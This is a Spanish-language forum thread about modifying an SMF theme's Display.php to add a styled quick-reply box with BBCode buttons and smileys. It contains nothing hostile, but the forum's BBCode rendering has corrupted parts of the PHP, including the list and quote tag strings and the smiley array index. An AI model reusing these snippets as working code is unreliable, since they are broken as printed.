    <input type="button" value="', $txt['spell_check'], '" onclick="spellCheck(\'postmodify\', \'message\');" tabindex="5"/>';
    echo '
    <input type="hidden" name="sc" value="' . $context['session_id'] . '" />
    <input type="hidden" name="seqnum" value="', $context['form_sequence_number'], '" />
    </form>
    </td>
    </tr>
    </table>';
    }


    Reemplaza por:

    // Show the quick reply box.
    if ($context['can_reply'] && !empty($options['display_quick_reply']))
    {
    echo '
    <a name="quickreply"></a>
    <div style="width: 100%;" align="center"><div class="tborder" style="width: 50%;" align="left">
    <div class="catbg" style="padding: 4px;"><a href="javascript:swapQuickReply();"><img src="', $settings['images_url'], '/', $options['display_quick_reply'] == 2 ? 'collapse' : 'expand', '.gif" alt="+" id="quickReplyExpand" /></a> <a href="javascript:swapQuickReply();">', $txt['quick_reply_1'], '</a></div>
    <div class="windowbg" id="quickReplyOptions" style="padding: 1ex;', $options['display_quick_reply'] == 2 ? '' : ' display: none', '">
    ', $context['is_locked'] ? '<b>' . $txt['quick_reply_warning'] . '</b><br /><br />' : '', '
    <form action="', $scripturl, '?action=post2" method="post" accept-charset="', $context['character_set'], '" name="postmodify" id="postmodify" onsubmit="submitonce(this);" style="margin: 0;">
    <input type="hidden" name="topic" value="' . $context['current_topic'] . '" />
    <input type="hidden" name="subject" value="' . $context['response_prefix'] . $context['subject'] . '" />
    <input type="hidden" name="icon" value="xx" />
    <input type="hidden" name="notify" value="', $context['is_marked_notify'] || !empty($options['auto_notify']) ? '1' : '0', '" />
    <input type="hidden" name="goback" value="', empty($options['return_to_post']) ? '0' : '1', '" />
    <input type="hidden" name="num_replies" value="', $context['num_replies'], '" />';

    // Here we show the actual post box with the smileys and BBCode..
    theme_quickreply_box();

    echo '
    <br />
    <input type="submit" name="post" value="' . $txt[105] . '" onclick="return submitThisOnce(this);" accesskey="s" tabindex="2" />
    <input type="submit" name="preview" value="' . $txt[507] . '" onclick="return submitThisOnce(this);" accesskey="p" tabindex="4" />';
    if ($context['show_spellchecking'])
    echo '
    <input type="button" value="', $txt['spell_check'], '" onclick="spellCheck(\'postmodify\', \'message\');" tabindex="5"/>';
    echo '
    <input type="hidden" name="sc" value="' . $context['session_id'] . '" />
    <input type="hidden" name="seqnum" value="', $context['form_sequence_number'], '" />
    </form>';
    echo '
    </div>
    </div></div>';
    }


    Saludos!

onlychriss

Lainaus käyttäjältä: juaaan - toukokuu 11, 2009, 02:24:35 IP
Lainaus käyttäjältä: onlychriss - toukokuu 10, 2009, 08:34:25 IP
Lainaus käyttäjältä: juaaan - toukokuu 09, 2009, 04:34:20 IP
cual es tu theme??...
dibelmer y smf 1.8
Buscas:

?>


Añade antes

// This function displays all the stuff you'd expect to see with a message box, the box, BBC buttons and of course smileys.
// NOTICE: With the exception of some edits, this code was copied from Subs-Post.php, which is the work of the SMF dev team. I only moved things around...so thank them, not me!
function template_quickreply_box()
{
global $context, $settings, $options, $txt, $modSettings;

// Assuming BBC code is enabled then print the buttons and some javascript to handle it.
if ($context['show_bbc'])
{
echo '
<script language="JavaScript" type="text/javascript"><!-- // -->
function bbc_highlight(something, mode)
{
something.style.backgroundImage = "url(" + smf_images_url + (mode ? "/bbc/bbc_hoverbg.gif)" : "/bbc/bbc_bg.gif)");
}
// ]]></script>';

// The below array makes it dead easy to add images to this page. Add it to the array and everything else is done for you!
$context['bbc_tags'] = array();
$context['bbc_tags'][] = array(
'bold' => array('code' => 'b', 'before' => '[b]', 'after' => '[/b]', 'description' => $txt[253]),
'italicize' => array('code' => 'i', 'before' => '[i]', 'after' => '[/i]', 'description' => $txt[254]),
'underline' => array('code' => 'u', 'before' => '[u]', 'after' => '[/u]', 'description' => $txt[255]),
'strike' => array('code' => 's', 'before' => '[s]', 'after' => '[/s]', 'description' => $txt[441]),
array(),
'glow' => array('code' => 'glow', 'before' => '[glow=red,2,300]', 'after' => '[/glow]', 'description' => $txt[442]),
'shadow' => array('code' => 'shadow', 'before' => '[shadow=red,left]', 'after' => '[/shadow]', 'description' => $txt[443]),
'move' => array('code' => 'move', 'before' => '[move]', 'after' => '[/move]', 'description' => $txt[439]),
array(),
'pre' => array('code' => 'pre', 'before' => '[pre]', 'after' => '[/pre]', 'description' => $txt[444]),
'left' => array('code' => 'left', 'before' => '[left]', 'after' => '[/left]', 'description' => $txt[445]),
'center' => array('code' => 'center', 'before' => '[center]', 'after' => '[/center]', 'description' => $txt[256]),
'right' => array('code' => 'right', 'before' => '[right]', 'after' => '[/right]', 'description' => $txt[446]),
array(),
'hr' => array('code' => 'hr', 'before' => '[hr]', 'description' => $txt[531]),
array(),
'size' => array('code' => 'size', 'before' => '[size=10pt]', 'after' => '[/size]', 'description' => $txt[532]),
'face' => array('code' => 'font', 'before' => '[font=Verdana]', 'after' => '[/font]', 'description' => $txt[533]),
);
$context['bbc_tags'][] = array(
'flash' => array('code' => 'flash', 'before' => '[flash=200,200]', 'after' => '[/flash]', 'description' => $txt[433]),
'img' => array('code' => 'img', 'before' => '[img]', 'after' => '[/img]', 'description' => $txt[435]),
'url' => array('code' => 'url', 'before' => '[url]', 'after' => '[/url]', 'description' => $txt[257]),
'email' => array('code' => 'email', 'before' => '[email]', 'after' => '[/email]', 'description' => $txt[258]),
'ftp' => array('code' => 'ftp', 'before' => '[ftp]', 'after' => '[/ftp]', 'description' => $txt[434]),
array(),
'table' => array('code' => 'table', 'before' => '[table]', 'after' => '[/table]', 'description' => $txt[436]),
'tr' => array('code' => 'td', 'before' => '[tr]', 'after' => '[/tr]', 'description' => $txt[449]),
'td' => array('code' => 'td', 'before' => '[td]', 'after' => '[/td]', 'description' => $txt[437]),
array(),
'sup' => array('code' => 'sup', 'before' => '[sup]', 'after' => '[/sup]', 'description' => $txt[447]),
'sub' => array('code' => 'sub', 'before' => '[sub]', 'after' => '[/sub]', 'description' => $txt[448]),
'tele' => array('code' => 'tt', 'before' => '[tt]', 'after' => '[/tt]', 'description' => $txt[440]),
array(),
'code' => array('code' => 'code', 'before' => '[code]', 'after' => '
', 'description' => $txt[259]),
         'quote' => array('code' => 'quote', 'before' => '
Lainaa', 'after' => '
', 'description' => $txt[260]),
         array(),
         'list' => array('code' => 'list', 'before' => '
    \n
  • ', 'after' => '
  • \n
  • \n
', 'description' => $txt[261]),
      );

      $found_button = false;
      // Here loop through the array, printing the images/rows/separators!
      foreach ($context['bbc_tags'][0] as $image => $tag)
      {
         // Is there a "before" part for this bbc button? If not, it can't be a button!!
         if (isset($tag['before']))
         {
            // Is this tag disabled?
            if (!empty($context['disabled_tags'][$tag['code']]))
               continue;

            $found_button = true;

            // If there's no after, we're just replacing the entire selection in the post box.
            if (!isset($tag['after']))
               echo '<a href="javascript:void(0);" onclick="replaceText(\'', $tag['before'], '\', document.forms.postmodify.message); return false;">';
            // On the other hand, if there is one we are surrounding the selection ;).
            else
               echo '<a href="javascript:void(0);" onclick="surroundText(\'', $tag['before'], '\', \'', $tag['after'], '\', document.forms.postmodify.message); return false;">';

            // Okay... we have the link. Now for the image and the closing </a>!
            echo '<img onmouseover="bbc_highlight(this, true);" onmouseout="if (window.bbc_highlight) bbc_highlight(this, false);" src="', $settings['images_url'], '/bbc/', $image, '.gif" align="bottom" width="23" height="22" alt="', $tag['description'], '" title="', $tag['description'], '" style="background-image: url(', $settings['images_url'], '/bbc/bbc_bg.gif); margin: 1px 2px 1px 1px;" /></a>';
         }
         // I guess it's a divider...
         elseif ($found_button)
         {
            echo '<img src="', $settings['images_url'], '/bbc/divider.gif" alt="|" style="margin: 0 3px 0 3px;" />';
            $found_button = false;
         }
      }

      // Print a drop down list for all the colors we allow!
      if (!isset($context['disabled_tags']['color']))
         echo ' <select onchange="surroundText(\'[color=\' + this.options[this.selectedIndex].value.toLowerCase() + \']\', \'[/color]\', document.forms.postmodify.message); this.selectedIndex = 0; document.forms.postmodify.message.focus(document.forms.postmodify.message.caretPos);" style="margin-bottom: 1ex;">
            <option value="" selected="selected">', $txt['change_color'], '</option>
            <option value="Black">', $txt[262], '</option>
            <option value="Red">', $txt[263], '</option>
            <option value="Yellow">', $txt[264], '</option>
            <option value="Pink">', $txt[265], '</option>
            <option value="Green">', $txt[266], '</option>
            <option value="Orange">', $txt[267], '</option>
            <option value="Purple">', $txt[268], '</option>
            <option value="Blue">', $txt[269], '</option>
            <option value="Beige">', $txt[270], '</option>
            <option value="Brown">', $txt[271], '</option>
            <option value="Teal">', $txt[272], '</option>
            <option value="Navy">', $txt[273], '</option>
            <option value="Maroon">', $txt[274], '</option>
            <option value="LimeGreen">', $txt[275], '</option>
         </select>';
      echo '<br />';

      $found_button = false;
      // Print the buttom row of buttons!
      foreach ($context['bbc_tags'][1] as $image => $tag)
      {
         if (isset($tag['before']))
         {
            // Is this tag disabled?
            if (!empty($context['disabled_tags'][$tag['code']]))
               continue;

            $found_button = true;

            // If there's no after, we're just replacing the entire selection in the post box.
            if (!isset($tag['after']))
               echo '<a href="javascript:void(0);" onclick="replaceText(\'', $tag['before'], '\', document.forms.postmodify.message); return false;">';
            // On the other hand, if there is one we are surrounding the selection ;).
            else
               echo '<a href="javascript:void(0);" onclick="surroundText(\'', $tag['before'], '\', \'', $tag['after'], '\', document.forms.postmodify.message); return false;">';

            // Okay... we have the link. Now for the image and the closing </a>!
            echo '<img onmouseover="bbc_highlight(this, true);" onmouseout="if (window.bbc_highlight) bbc_highlight(this, false);" src="', $settings['images_url'], '/bbc/', $image, '.gif" align="bottom" width="23" height="22" alt="', $tag['description'], '" title="', $tag['description'], '" style="background-image: url(', $settings['images_url'], '/bbc/bbc_bg.gif); margin: 1px 2px 1px 1px;" /></a>';
         }
         // I guess it's a divider...
         elseif ($found_button)
         {
            echo '<img src="', $settings['images_url'], '/bbc/divider.gif" alt="|" style="margin: 0 3px 0 3px;" />';
            $found_button = false;
         }
      }
   }

   // Now start printing all of the smileys.
   if (!empty($context['smileys']['postform']))
   {
      echo '
         <br />';

      // Show each row of smileys ;).
      foreach ($context['smileys']['postform'] as $smiley_row)
      {
         foreach ($smiley_row['smileys'] as $smiley)
            echo '
         <a href="javascript:void(0);" onclick="replaceText(\' ', $smiley['code'], '\', document.forms.postmodify.message); return false;"><img src="', $settings['smileys_url'], '/', $smiley['filename'], '" align="bottom" alt="', $smiley['description'], '" title="', $smiley['description'], '" /></a>';

         // If this isn't the last row, show a break.
         if (empty($smiley_row['last']))
            echo '<br />';
      }

      // If the smileys popup is to be shown... show it!
      if (!empty($context['smileys']['popup']))
         echo '
         <a href="javascript:moreSmileys();">[', $txt['more_smileys'], ']</a>';
   }

   // If there are additional smileys then ensure we provide the javascript for them.
   if (!empty($context['smileys']['popup']))
   {
      echo '
         <script language="JavaScript" type="text/javascript"><!-- // -->
            var smileys = [';

      foreach ($context['smileys']['popup'] as $smiley_row)
      {
         echo '
               [';
         foreach ($smiley_row['smileys'] as $smiley)
         {
            echo '
                  ["', $smiley['code'], '","', $smiley['filename'], '","', $smiley['js_description'], '"]';
            if (empty($smiley['last']))
               echo ',';
         }

         echo ']';
         if (empty($smiley_row['last']))
            echo ',';
      }

      echo '];
            var smileyPopupWindow;

            function moreSmileys()
            {
               var row, i;

               if (smileyPopupWindow)
                  smileyPopupWindow.close();

               smileyPopupWindow = window.open("", "add_smileys", "toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,width=480,height=220,resizable=yes");
               smileyPopupWindow.document.write(\'\n<html>\');
               smileyPopupWindow.document.write(\'\n\t<head>\n\t\t<title>', $txt['more_smileys_title'], '</title>\n\t\t<link rel="stylesheet" type="text/css" href="', $settings['theme_url'], '/style.css" />\n\t</head>\');
               smileyPopupWindow.document.write(\'\n\t<body style="margin: 1ex;">\n\t\t<table width="100%" cellpadding="5" cellspacing="0" border="0" class="tborder">\n\t\t\t<tr class="titlebg"><td align="left">', $txt['more_smileys_pick'], '</td></tr>\n\t\t\t<tr class="windowbg"><td align="left">\');

               for (row = 0; row < smileys.length; row++)
               {
                  for (i = 0; i < smileys[row].length; i++)
                  {
                     smileys[row][2] = smileys[row][2].replace(/"/g, \'&quot;\');
                     smileyPopupWindow.document.write(\'<a href="javascript:void(0);" onclick="window.opener.replaceText(&quot; \' + smileys[row]
  • + \'&quot;, window.opener.document.forms.postmodify.message); window.focus(); return false;"><img src="', $settings['smileys_url'], '/\' + smileys[row][1] + \'" alt="\' + smileys[row][2] + \'" title="\' + smileys[row][2] + \'" style="padding: 4px;" border="0" /></a> \');
                      }
                      smileyPopupWindow.document.write("<br />");
                   }

                   smileyPopupWindow.document.write(\'</td></tr>\n\t\t\t<tr><td align="center" class="windowbg"><a href="javascript:window.close();\\">', $txt['more_smileys_close_window'], '</a></td></tr>\n\t\t</table>\n\t</body>\n</html>\');
                   smileyPopupWindow.document.close();
                }
             // ]]></script>';
       }

       // Finally the most important bit - the actual text box to write in!
       echo '
             <textarea class="editor" cols="75" rows="7" style="width: 95%; height: 100px;" name="message" tabindex="1" onselect="storeCaret(this);" onclick="storeCaret(this);" onkeyup="storeCaret(this);" onchange="storeCaret(this);"></textarea>';
    }
    [/code]

    Buscas:

    if ($context['can_reply'] && !empty($options['display_quick_reply']))
    {
    echo '
    <a name="quickreply"></a>
    <table border="0" cellspacing="1" cellpadding="3" class="bordercolor" width="100%" style="clear: both;">
    <tr>
    <td colspan="2" class="catbg"><a href="javascript:swapQuickReply();"><img src="', $settings['images_url'], '/', $options['display_quick_reply'] == 2 ? 'collapse' : 'expand', '.gif" alt="+" id="quickReplyExpand" /></a> <a href="javascript:swapQuickReply();">', $txt['quick_reply_1'], '</a></td>
    </tr>
    <tr id="quickReplyOptions"', $options['display_quick_reply'] == 2 ? '' : ' style="display: none"', '>
    <td class="windowbg" width="25%" valign="top">', $txt['quick_reply_2'], $context['is_locked'] ? '<br /><br /><b>' . $txt['quick_reply_warning'] . '</b>' : '', '</td>
    <td class="windowbg" width="75%" align="center">
    <form action="', $scripturl, '?action=post2" method="post" accept-charset="', $context['character_set'], '" name="postmodify" id="postmodify" onsubmit="submitonce(this);" style="margin: 0;">
    <input type="hidden" name="topic" value="' . $context['current_topic'] . '" />
    <input type="hidden" name="subject" value="' . $context['response_prefix'] . $context['subject'] . '" />
    <input type="hidden" name="icon" value="xx" />
    <input type="hidden" name="notify" value="', $context['is_marked_notify'] || !empty($options['auto_notify']) ? '1' : '0', '" />
    <input type="hidden" name="goback" value="', empty($options['return_to_post']) ? '0' : '1', '" />
    <input type="hidden" name="num_replies" value="', $context['num_replies'], '" />
    <textarea cols="75" rows="7" style="width: 95%; height: 100px;" name="message" tabindex="1"></textarea><br />
    <input type="submit" name="post" value="' . $txt[105] . '" onclick="return submitThisOnce(this);" accesskey="s" tabindex="2" />
    <input type="submit" name="preview" value="' . $txt[507] . '" onclick="return submitThisOnce(this);" accesskey="p" tabindex="4" />';
    if ($context['show_spellchecking'])
    echo '
    <input type="button" value="', $txt['spell_check'], '" onclick="spellCheck(\'postmodify\', \'message\');" tabindex="5"/>';
    echo '
    <input type="hidden" name="sc" value="' . $context['session_id'] . '" />
    <input type="hidden" name="seqnum" value="', $context['form_sequence_number'], '" />
    </form>
    </td>
    </tr>
    </table>';
    }


    Reemplaza por:

    // Show the quick reply box.
    if ($context['can_reply'] && !empty($options['display_quick_reply']))
    {
    echo '
    <a name="quickreply"></a>
    <div style="width: 100%;" align="center"><div class="tborder" style="width: 50%;" align="left">
    <div class="catbg" style="padding: 4px;"><a href="javascript:swapQuickReply();"><img src="', $settings['images_url'], '/', $options['display_quick_reply'] == 2 ? 'collapse' : 'expand', '.gif" alt="+" id="quickReplyExpand" /></a> <a href="javascript:swapQuickReply();">', $txt['quick_reply_1'], '</a></div>
    <div class="windowbg" id="quickReplyOptions" style="padding: 1ex;', $options['display_quick_reply'] == 2 ? '' : ' display: none', '">
    ', $context['is_locked'] ? '<b>' . $txt['quick_reply_warning'] . '</b><br /><br />' : '', '
    <form action="', $scripturl, '?action=post2" method="post" accept-charset="', $context['character_set'], '" name="postmodify" id="postmodify" onsubmit="submitonce(this);" style="margin: 0;">
    <input type="hidden" name="topic" value="' . $context['current_topic'] . '" />
    <input type="hidden" name="subject" value="' . $context['response_prefix'] . $context['subject'] . '" />
    <input type="hidden" name="icon" value="xx" />
    <input type="hidden" name="notify" value="', $context['is_marked_notify'] || !empty($options['auto_notify']) ? '1' : '0', '" />
    <input type="hidden" name="goback" value="', empty($options['return_to_post']) ? '0' : '1', '" />
    <input type="hidden" name="num_replies" value="', $context['num_replies'], '" />';

    // Here we show the actual post box with the smileys and BBCode..
    theme_quickreply_box();

    echo '
    <br />
    <input type="submit" name="post" value="' . $txt[105] . '" onclick="return submitThisOnce(this);" accesskey="s" tabindex="2" />
    <input type="submit" name="preview" value="' . $txt[507] . '" onclick="return submitThisOnce(this);" accesskey="p" tabindex="4" />';
    if ($context['show_spellchecking'])
    echo '
    <input type="button" value="', $txt['spell_check'], '" onclick="spellCheck(\'postmodify\', \'message\');" tabindex="5"/>';
    echo '
    <input type="hidden" name="sc" value="' . $context['session_id'] . '" />
    <input type="hidden" name="seqnum" value="', $context['form_sequence_number'], '" />
    </form>';
    echo '
    </div>
    </div></div>';
    }


    Saludos!
ok ya hice todo eso pero no sale

mirahalo

seria mas facil si adjuntas tu archivo Display.php para poder revisarlo mejor ;)

Advertisement: